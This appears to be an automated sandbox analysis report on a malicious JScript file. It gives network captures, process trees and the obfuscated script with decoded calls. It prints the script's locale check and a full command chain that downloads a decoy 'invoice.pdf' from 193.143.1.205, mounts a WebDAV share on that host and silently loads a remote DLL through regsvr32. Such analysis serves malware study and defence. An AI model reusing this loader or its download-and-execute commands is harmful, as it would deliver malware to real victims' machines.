Jan 11, 2025 08:45:41.080120087 CET	1.1.1.1	192.168.2.8	0xbdab	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7632	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:44:25.728074074 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:44:26.535505056 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:44:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:44:26.535521030 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:44:26.535531998 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:44:26.535542965 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:44:26.535582066 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:44:26.535593987 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 08:44:26.535604954 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 08:44:26.535720110 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 08:44:26.535733938 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 08:44:26.535747051 CET	940	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G
Jan 11, 2025 08:44:26.756688118 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	7912	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:44:28.483211040 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:44:29.281352997 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:44:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:44:21
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2801910740378426994.js"
Imagebase:	0x7ff6f9360000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:44:22
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Imagebase:	0x7ff7f9ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:44:22
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:44:22
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:44:27
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:44:27
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f9ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:44:27
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6692d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:44:28
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:44:28
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:44:28
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1624,i,2315760363782123974,5897702423457590765,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function abxiamsjf() {	abxiamsjf() ➔ undefined
1	dvexkgsbt = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lqvoftj = this[zxxivp + mpatqhn + rbccitc + eeijxxuj + iwkdxss + rvqxm + wukrb + ccfob] ( this[yxcmfb + seayyttb + torrzpgdf + rbccitc + mshlfcps + zxxivp + ccfob][pbjfwb + rbccitc + iwkdxss + mpatqhn + ccfob + iwkdxss + dvcof + xsmxqhnd + eswobps + iwkdxss + torrzpgdf + ccfob] ( yxcmfb + seayyttb + torrzpgdf + rbccitc + mshlfcps + zxxivp + ccfob + icdtg + seayyttb + guvgfyri + iwkdxss + eofkqpcwq + eofkqpcwq ) [rjavzjzvi + iwkdxss + jbgrnzt + rjavzjzvi + iwkdxss + mpatqhn + rjflphovq] ( hnunp + bzaxng + toltgg + ckulw + hfxii + pbjfwb + bvydbz + rjavzjzvi + rjavzjzvi + toltgg + xekspglfs + yhfvpc + hfxii + bvydbz + seayyttb + toltgg + rjavzjzvi + lguvivgw + pbjfwb + qjivqzlg + wukrb + ccfob + rbccitc + qjivqzlg + eofkqpcwq + kfapma + krvpazlep + mpatqhn + wukrb + iwkdxss + eofkqpcwq + lguvivgw + rvqxm + wukrb + ccfob + iwkdxss + rbccitc + wukrb + mpatqhn + ccfob + mshlfcps + qjivqzlg + wukrb + mpatqhn + eofkqpcwq + lguvivgw + wgqddfsri + qjivqzlg + torrzpgdf + mpatqhn + eofkqpcwq + iwkdxss ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( iqrxx = 0 ; iqrxx < dvexkgsbt[eofkqpcwq + iwkdxss + wukrb + jbgrnzt + ccfob + guvgfyri] ; ++ iqrxx )
4	{
5	if ( lqvoftj == dvexkgsbt[iqrxx] )
6	{
7	lqvoftj = true;
8	break ;
9	}
10	}
11	if ( lqvoftj !== true )
12	this[yxcmfb + seayyttb + torrzpgdf + rbccitc + mshlfcps + zxxivp + ccfob][jtcits + qpzci + mshlfcps + ccfob] ( );
13	this[yxcmfb + seayyttb + torrzpgdf + rbccitc + mshlfcps + zxxivp + ccfob][pbjfwb + rbccitc + iwkdxss + mpatqhn + ccfob + iwkdxss + dvcof + xsmxqhnd + eswobps + iwkdxss + torrzpgdf + ccfob] ( yxcmfb + seayyttb + torrzpgdf + rbccitc + mshlfcps + zxxivp + ccfob + icdtg + seayyttb + guvgfyri + iwkdxss + eofkqpcwq + eofkqpcwq ) [rbccitc + qpzci + wukrb] ( torrzpgdf + bqcnwi + rjflphovq + kfapma + jylva + torrzpgdf + kfapma + zxxivp + qjivqzlg + wjehk + iwkdxss + rbccitc + eeijxxuj + guvgfyri + iwkdxss + eofkqpcwq + eofkqpcwq + icdtg + iwkdxss + vfhbi + iwkdxss + kfapma + ahwbkc + pbjfwb + qjivqzlg + bqcnwi + bqcnwi + mpatqhn + wukrb + rjflphovq + kfapma + vjmfinub + rvqxm + wukrb + pbeql + qjivqzlg + kqqiobn + iwkdxss + ahwbkc + yxcmfb + iwkdxss + xsmxqhnd + rjavzjzvi + iwkdxss + zpxcmxqe + qpzci + iwkdxss + eeijxxuj + ccfob + kfapma + ahwbkc + dvcof + qpzci + ccfob + mljohkq + mshlfcps + eofkqpcwq + iwkdxss + kfapma + tjfdrqfy + ccfob + iwkdxss + bqcnwi + zxxivp + tjfdrqfy + lguvivgw + mshlfcps + wukrb + pbeql + qjivqzlg + mshlfcps + torrzpgdf + iwkdxss + icdtg + zxxivp + rjflphovq + fcpyvjc + kfapma + guvgfyri + ccfob + ccfob + zxxivp + fontbj + jylva + jylva + ouniqnfdy + sshnwvb + jmrnuf + icdtg + ouniqnfdy + mwyqvn + jmrnuf + icdtg + ouniqnfdy + icdtg + ttlcfbg + zmfvf + fvqkd + jylva + mshlfcps + wukrb + pbeql + qjivqzlg + mshlfcps + torrzpgdf + iwkdxss + icdtg + zxxivp + guvgfyri + zxxivp + vjmfinub + xdszbm + xdszbm + eeijxxuj + ccfob + mpatqhn + rbccitc + ccfob + kfapma + tjfdrqfy + ccfob + iwkdxss + bqcnwi + zxxivp + tjfdrqfy + lguvivgw + mshlfcps + wukrb + pbeql + qjivqzlg + mshlfcps + torrzpgdf + iwkdxss + icdtg + zxxivp + rjflphovq + fcpyvjc + xdszbm + xdszbm + torrzpgdf + bqcnwi + rjflphovq + kfapma + jylva + torrzpgdf + kfapma + wukrb + iwkdxss + ccfob + kfapma + qpzci + eeijxxuj + iwkdxss + kfapma + lguvivgw + lguvivgw + ouniqnfdy + sshnwvb + jmrnuf + icdtg + ouniqnfdy + mwyqvn + jmrnuf + icdtg + ouniqnfdy + icdtg + ttlcfbg + zmfvf + fvqkd + vnpessn + qyrvxz + qyrvxz + qyrvxz + qyrvxz + lguvivgw + rjflphovq + mpatqhn + pbeql + wjehk + wjehk + wjehk + rbccitc + qjivqzlg + qjivqzlg + ccfob + lguvivgw + xdszbm + xdszbm + torrzpgdf + bqcnwi + rjflphovq + kfapma + jylva + torrzpgdf + kfapma + rbccitc + iwkdxss + jbgrnzt + eeijxxuj + pbeql + rbccitc + jmrnuf + ttlcfbg + kfapma + jylva + eeijxxuj + kfapma + lguvivgw + lguvivgw + ouniqnfdy + sshnwvb + jmrnuf + icdtg + ouniqnfdy + mwyqvn + jmrnuf + icdtg + ouniqnfdy + icdtg + ttlcfbg + zmfvf + fvqkd + vnpessn + qyrvxz + qyrvxz + qyrvxz + qyrvxz + lguvivgw + rjflphovq + mpatqhn + pbeql + wjehk + wjehk + wjehk + rbccitc + qjivqzlg + qjivqzlg + ccfob + lguvivgw + jmrnuf + zmfvf + sshnwvb + sshnwvb + jmrnuf + ttlcfbg + ouniqnfdy + fvqkd + ouniqnfdy + mwyqvn + jmrnuf + dvndu + sshnwvb + dvndu + icdtg + rjflphovq + eofkqpcwq + eofkqpcwq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll",0,false) ➔ 0
14	}
15	vfhbi = "d";
16	vfhbi = "T";
17	vfhbi = "r";
18	vfhbi = "F";
19	vfhbi = "j";
20	vfhbi = "X";
21	vfhbi = "V";
22	vfhbi = "H";
23	vfhbi = "j";
24	vfhbi = "x";
25	qyrvxz = "n";
26	qyrvxz = "Y";
27	qyrvxz = "l";
28	qyrvxz = "e";
29	qyrvxz = "w";
30	qyrvxz = "Z";
31	qyrvxz = "Q";
32	qyrvxz = "u";
33	qyrvxz = "Q";
34	qyrvxz = "Z";
35	qyrvxz = "K";
36	qyrvxz = "W";
37	qyrvxz = "j";
38	qyrvxz = "j";
39	qyrvxz = "a";
40	qyrvxz = "e";
41	qyrvxz = "8";
42	wjehk = "K";
43	wjehk = "h";
44	wjehk = "o";
45	wjehk = "x";
46	wjehk = "G";
47	wjehk = "l";
48	wjehk = "w";
49	hnunp = "Q";
50	hnunp = "Y";
51	hnunp = "w";
52	hnunp = "W";
53	hnunp = "j";
54	hnunp = "G";
55	hnunp = "a";
56	hnunp = "x";
57	hnunp = "M";
58	hnunp = "X";
59	hnunp = "g";
60	hnunp = "s";
61	hnunp = "e";
62	hnunp = "e";
63	hnunp = "B";
64	hnunp = "p";
65	hnunp = "J";
66	hnunp = "d";
67	hnunp = "k";
68	hnunp = "x";
69	hnunp = "i";
70	hnunp = "X";
71	hnunp = "f";
72	hnunp = "t";
73	hnunp = "v";
74	hnunp = "w";
75	hnunp = "q";
76	hnunp = "E";
77	hnunp = "H";
78	hnunp = "E";
79	hnunp = "e";
80	hnunp = "w";
81	hnunp = "H";
82	xsmxqhnd = "Y";
83	xsmxqhnd = "E";
84	xsmxqhnd = "m";
85	xsmxqhnd = "l";
86	xsmxqhnd = "M";
87	xsmxqhnd = "C";
88	xsmxqhnd = "i";
89	xsmxqhnd = "A";
90	xsmxqhnd = "o";
91	xsmxqhnd = "Q";
92	xsmxqhnd = "s";
93	xsmxqhnd = "K";
94	xsmxqhnd = "n";
95	xsmxqhnd = "L";
96	xsmxqhnd = "b";
97	xsmxqhnd = "f";
98	xsmxqhnd = "Y";
99	xsmxqhnd = "e";
100	xsmxqhnd = "b";
101	rjflphovq = "Y";
102	rjflphovq = "q";
103	rjflphovq = "V";
104	rjflphovq = "K";
105	rjflphovq = "A";
106	rjflphovq = "Y";
107	rjflphovq = "t";
108	rjflphovq = "A";
109	rjflphovq = "d";
110	rjflphovq = "p";
111	rjflphovq = "B";
112	rjflphovq = "f";
113	rjflphovq = "L";
114	rjflphovq = "B";
115	rjflphovq = "G";
116	rjflphovq = "d";
117	rbccitc = "i";
118	rbccitc = "l";
119	rbccitc = "Y";
120	rbccitc = "Y";
121	rbccitc = "f";
122	rbccitc = "M";
123	rbccitc = "c";
124	rbccitc = "O";
125	rbccitc = "I";
126	rbccitc = "R";
127	rbccitc = "z";
128	rbccitc = "F";
129	rbccitc = "j";
130	rbccitc = "m";
131	rbccitc = "e";
132	rbccitc = "E";
133	rbccitc = "F";
134	rbccitc = "L";
135	rbccitc = "F";
136	rbccitc = "F";
137	rbccitc = "R";
138	rbccitc = "C";
139	rbccitc = "o";
140	rbccitc = "h";
141	rbccitc = "J";
142	rbccitc = "B";
143	rbccitc = "d";
144	rbccitc = "Y";
145	rbccitc = "w";
146	rbccitc = "e";
147	rbccitc = "I";
148	rbccitc = "S";
149	rbccitc = "j";
150	rbccitc = "O";
151	rbccitc = "o";
152	rbccitc = "r";
153	rbccitc = "I";
154	rbccitc = "Q";
155	rbccitc = "H";
156	rbccitc = "r";
157	rbccitc = "Q";
158	rbccitc = "Z";
159	rbccitc = "r";
160	vnpessn = "a";
161	vnpessn = "U";
162	vnpessn = "A";
163	vnpessn = "j";
164	vnpessn = "P";
165	vnpessn = "r";
166	vnpessn = "l";
167	vnpessn = "K";
168	vnpessn = "T";
169	vnpessn = "J";
170	vnpessn = "B";
171	vnpessn = "H";
172	vnpessn = "x";
173	vnpessn = "r";
174	vnpessn = "Z";
175	vnpessn = "E";
176	vnpessn = "R";
177	vnpessn = "A";
178	vnpessn = "T";
179	vnpessn = "q";
180	vnpessn = "Q";
181	vnpessn = "C";
182	vnpessn = "v";
183	vnpessn = "q";
184	vnpessn = "v";
185	vnpessn = "A";
186	vnpessn = "@";
187	wukrb = "t";
188	wukrb = "Y";
189	wukrb = "W";
190	wukrb = "N";
191	wukrb = "o";
192	wukrb = "N";
193	wukrb = "q";
194	wukrb = "h";
195	wukrb = "x";
196	wukrb = "F";
197	wukrb = "D";
198	wukrb = "P";
199	wukrb = "N";
200	wukrb = "w";
201	wukrb = "F";
202	wukrb = "p";
203	wukrb = "Z";
204	wukrb = "v";
205	wukrb = "L";
206	wukrb = "t";
207	wukrb = "g";
208	wukrb = "V";
209	wukrb = "i";
210	wukrb = "j";
211	wukrb = "J";
212	wukrb = "R";
213	wukrb = "W";
214	wukrb = "o";
215	wukrb = "z";
216	wukrb = "p";
217	wukrb = "M";
218	wukrb = "Z";
219	wukrb = "O";
220	wukrb = "F";
221	wukrb = "G";
222	wukrb = "B";
223	wukrb = "Z";
224	wukrb = "z";
225	wukrb = "g";
226	wukrb = "x";
227	wukrb = "T";
228	wukrb = "d";
229	wukrb = "l";
230	wukrb = "n";
231	mpatqhn = "Y";
232	mpatqhn = "n";
233	mpatqhn = "g";
234	mpatqhn = "H";
235	mpatqhn = "v";
236	mpatqhn = "b";
237	mpatqhn = "u";
238	mpatqhn = "y";
239	mpatqhn = "l";
240	mpatqhn = "V";
241	mpatqhn = "a";
242	lguvivgw = "J";
243	lguvivgw = "V";
244	lguvivgw = "j";
245	lguvivgw = "X";
246	lguvivgw = "i";
247	lguvivgw = "J";
248	lguvivgw = "Y";
249	lguvivgw = "V";
250	lguvivgw = "s";
251	lguvivgw = "F";
252	lguvivgw = "j";
253	lguvivgw = "P";
254	lguvivgw = "J";
255	lguvivgw = "s";
256	lguvivgw = "a";
257	lguvivgw = "m";
258	lguvivgw = "s";
259	lguvivgw = "\\";
260	yhfvpc = "l";
261	yhfvpc = "e";
262	yhfvpc = "k";
263	yhfvpc = "m";
264	yhfvpc = "U";
265	yhfvpc = "A";
266	yhfvpc = "c";
267	yhfvpc = "c";
268	yhfvpc = "h";
269	yhfvpc = "u";
270	yhfvpc = "g";
271	yhfvpc = "e";
272	yhfvpc = "J";
273	yhfvpc = "T";
274	kqqiobn = "v";
275	kqqiobn = "L";
276	kqqiobn = "x";
277	kqqiobn = "Y";
278	kqqiobn = "j";
279	kqqiobn = "p";
280	kqqiobn = "k";
281	bqcnwi = "P";
282	bqcnwi = "u";
